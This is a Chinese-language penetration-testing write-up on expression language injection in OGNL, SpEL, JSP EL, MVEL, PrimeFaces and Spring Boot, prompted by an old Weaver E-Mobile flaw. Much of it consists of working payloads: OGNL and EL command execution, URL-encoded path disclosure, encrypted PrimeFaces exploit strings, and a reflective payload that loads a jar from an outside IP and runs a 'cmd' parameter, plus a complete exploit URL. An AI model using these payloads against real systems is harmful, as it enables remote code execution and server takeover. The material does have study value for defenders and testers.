在一次项目中发现了一个泛微的历史老洞,而且是表达式注入中典型的一种,特地收集了相关资料做一份表达式注入的文档和记录
表达式注入概念:
2013年4月15日Expression Language Injection词条在OWASP上被创建,而这个词的最早出现可以追溯到2012年12月的《Remote-Code-with-Expression-Language-Injection》一文,在这个paper中第一次提到了这个名词。
而这个时期,只不过还只是把它叫做远程代码执行漏洞、远程命令执行漏洞或者上下文操控漏洞。像Struts2系列的s2-003、s2-009、s2-016等,这种由OGNL表达式引起的命令执行漏洞。
流行的表达式语言:
Struts2——OGNL
实至名归的“漏洞之王”,表达式的格式:
@[类全名(包括包路径)]@[方法名 | 值名],例如:
@java.lang.String@format('foo %s', 'bar')
基本用法:
java
ActionContext AC = ActionContext.getContext();
Map Parameters = (Map)AC.getParameters();
String expression = "${(new java.lang.ProcessBuilder('calc')).start()}";
AC.getValueStack().findValue(expression));
相关漏洞:
s2-009、s2-012、s2-013、s2-014、s2-015、s2-016,s2-017
Spring——SPEL
SPEL即Spring EL,故名思议是Spring框架专有的EL表达式。相对于其他几种表达式语言,使用面相对较窄,但是从Spring框架被使用的广泛性来看,还是有值得研究的价值的。
基本用法:
在jsp页面中可以使用el表达式代替<%=%>,之间访问java对象。
java
String expression = "T(java.lang.Runtime).getRuntime().exec(/"calc/")";
String result = parser.parseExpression(expression).getValue().toString();
JSP——JSTL_EL
这种表达式是JSP语言自带的表达式,也就是说所有的Java Web服务都必然会支持这种表达式。但是由于各家对其实现的不同,也导致某些漏洞可以在一些Java Web服务中成功利用,而在有的服务中则是无法利用。
基本用法:
jsp
<spring:message text="${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}">
</spring:message>
Elasticsearch——MVEL
Elasticsearch的CVE-2014-3120这个漏洞
MVEL是同OGNL和SPEL一样,具有通过表达式执行Java代码的强大功能。
基本用法:
java import org.mvel.MVEL;
public class MVELTest {
public static void main(String[] args) {
String expression = "new java.lang.ProcessBuilder(/"calc/").start();";
Boolean result = (Boolean) MVEL.eval(expression, vars);
}
}
执行代码:
OGNL表达式注入:
示例:泛微E-Mobile
表达式获取数据语法:”${标识符}”,但在这个中并不需要${}来包括,不然会执行失败。
先用一个小的加减乘除做验证:
执行exp语句,执行命令whoami,
@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%27whoami%27).getInputStream()):
尝试报路径,但此例并不成功
%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
EL表达式注入:
实例:CVE-2011-2730
EL表达式语句在执行时,会调用pageContext.findAttribute方法,用标识符为关键字,分别从page、request、session、application四个域中查找相应的对象,找到则返回相应对象,找不到则返回”” (注意,不是null,而是空字符串)。
EL表达式可以很轻松获取JavaBean的属性,或获取数组、Collection、Map类型集合的数据
EL表达式语言中定义了11个隐含对象,使用这些隐含对象可以很方便地获取web开发中的一些常见对象,并读取这些对象的数据。
语法:${隐式对象名称}:获得对象的引用
序号 隐含对象名称 描述
1 pageContext 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)
2 pageScope 代表page域中用于保存属性的Map对象
3 requestScope 代表request域中用于保存属性的Map对象
4 sessionScope 代表session域中用于保存属性的Map对象
5 applicationScope 代表application域中用于保存属性的Map对象
6 param 表示一个保存了所有请求参数的Map对象
7 paramValues 表示一个保存了所有请求参数的Map对象,它对于某个请求参数,返回的是一个string[]
8 header 表示一个保存了所有http请求头字段的Map对象,注意:如果头里面有“-” ,例Accept-Encoding,则要header[“Accept-Encoding”]
9 headerValues 表示一个保存了所有http请求头字段的Map对象,它对于某个请求参数,返回的是一个string[]数组。注意:如果头里面有“-” ,例Accept-Encoding,则要headerValues[“Accept-Encoding”]
10 cookie 表示一个保存了所有cookie的Map对象
11 initParam 表示一个保存了所有web应用初始化参数的map对象
语法:${运算表达式},EL表达式支持如下运算符:
1、关系运算符
2、逻辑运算符:
3、empty运算符:检查对象是否为null(空)
4、二元表达式:${user!=null?user.name :””}
5、[ ] 和 . 号运算符
执行exp语句:
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())}
Primefaces框架表达式注入:
Primefaces要加密Payload后执行命令,所以这里用打包成jar包的加密函数进行加密!
命令:java -cp .\de.jar test.EncodeDecode exp
验证(代码):
${facesContext.getExternalContext().getResponse().getWriter().println("~~~elinject~~~")}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}
加密的Payload:
uMKljPgnOTVxmOB+H6/QEPW9ghJMGL3PRdkfmbiiPkV9XxzneUPyMM8BUxgtfxF3wYMlt0MXkqO5+OpbBXfBSKlTh7gJWI1HR5e/f4ZjcLzobfbDkQghTWQVAXvhdUc8D7M8Nnr+gSpk0we/YPtcrOOmI+/uuxl31mfOtFvEWGE3AUZFGxpmyfyMuGL0rzVw3wUpjUlHw4k3O4pm1RrCJT/PxEtCs00U9EBM2okSaAdPIn9p9G5X3lwi6lN7MXvoBhoFVy+31JzmoVeaZattVJhqvZRs1fguZGDCqQaJe+c6rQmcZWEKQg==
Web路径:
${facesContext.getExternalContext().getResponse().getWriter().println(request.getSession().getServletContext().getRealPath(/"//"))}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}
加密的Payload:
uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkV9XxzneUPyMM8BUxgtfxF3wYMlt0MXkqO5%2BOpbBXfBSCSkb2z5x8Cb2P%2FDS2BUn7odA0GflWHV%2B9J8uLGYIqPK9HY85O%2BJw0u5X9urorJfQZKJihsLCV%2BnqyXHs8i6uh4iIboLA2TZUiTbjc3SfybUTvPCjRdyT6rCe6MPQGqHYkBiX3K7fGPuwJ2XNONXI9N2Sup5MWcUUo87FbX3jESvOq2Bs3sDKU4bW3aCGbhUcA2ZEgSxkLcW6VKDnXV5hxvz6J4a4E6P8HCy9v8%2BdrRzmtKbwczXk%2B9n8Lm2KYS%2Fk2TJKpeKjPg0t%2BAiKzTiqak%3D
反射式调用执行命令:
${request.getSession().setAttribute("list","".getClass().forName("java.util.ArrayList").newInstance())}${request.getSession().getAttribute("list").add(request.getSession().getServletContext().getResource("/").toURI().create("http://118.184.23.145/cmd.jar").toURL())}${facesContext.getExternalContext().getResponse().getWriter().println(request.getSession().getClass().getClassLoader().getParent().newInstance(request.getSession().getAttribute("list").toArray(request.session.servletContext.getClass().getClassLoader().getParent().getURLs())).loadClass("org.javaweb.test.HelloWorld").newInstance().exec(request.getParameter("cmd")))}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}
加密的Payload调用:
http://xx.xx.xx.xx/javax.faces.resource/?pfdrt=sc&;ln=primefaces&;pfdrid=1acBqv16SJhfc30NLxL/NinZaDI%2BoHqk1xDbSI8qOl4%2BoXsKFyqJq3gv2IBc1S89q6G1POSSKDNlzHE/%2BnsMuZgTDALpyOstkBkFVJNc2U/B%2BoceOqnpF5YZoWtF0W7qGxsImsumut7GQoKKMQcbwwL4coE07x6Mn09hfy94tuiiy6S8S1vr8kPPYzrUC5AveiE9ls7dLDiaQripnC0Z71fB1xCjkxw8wjZt3om1PT9Wq8YAqkHuBIo/soFBvM1YDnJosELhjmfoJdAGBRfullXUfVw5xEg9ykFpLaKugkbDIBgXtv58Xu4BrT0d5MAQ8BOVwjzSodkdllYCAeUklCDWRfFtZDORdcAzXVxTRkEn%2Bnx7qAFh8NwK/sDsXz6U1Q2Q/ny1UaEMFM9qrgVmfX181HXWc4TuETxLqUohfreYLJLW%2BAxcxzciqqoKj%2Bht/KJ%2B%2BGfzuNoSs0E9i9N/AL5PALrdTRg%2BuweD3CMLZgLDITkMx4z7dmP2daw2B98nrKOLHtG6nYDcDmSfy8d8IKMZJvuq/WT7JLm0PJ3UqDyvzHHjrPCDpTFhMUmftFFvi4APBpT41slHYoRKDbJMvU/upvKyAsy5xQKJ5s6x%2B4F%2By9p8Icp1TQfMcqIPwMQkvsOs8i61m6i96dpmxpfZPWprcigaWMhJG8/iYRg7ZygegrmSbovLy5Tr3Mc9GODgdTx7v396NJ75yQyU4ETmYEhNxWTIoncK7MbyBcIWR/h1GjhCwwpquKRWLb3hal8DNJxubaKnxGa9mRNaQAZRr0s%2B3eo1jeino5O8CSQzla7ACpJc3867AAGxnWrnE/weJ20W3QKj6nIz/EAyx87aVIKs%2BQH3O4IGx%2BuiZ38TvMeg6jZpkZGiRNEUEuAoV6CWlMA%2BxM6BPvbPyWsqmdI8l%2ByFBhsoSpNhel2%2B0gxS5wWqZbRyi0rjPlOzUe8Xir9mlpuBZzrUIcbaYaE8PHQno1OZ/zaHx/GzAJakSRQ5YbKQ/W/OzkokDG3M79KSCtx2jN92PtISucY%3D&;cmd=ifconfig
Spring Boot框架表达式注入
漏洞影响Spring Boot版本从1.1-1.3.0
http://localhost:8555/test.php?id=${new%20java.lang.String(new%20byte[]{101, 108, 105, 110, 106, 101, 99, 116 })}
内容中出现 elinject就是注入成功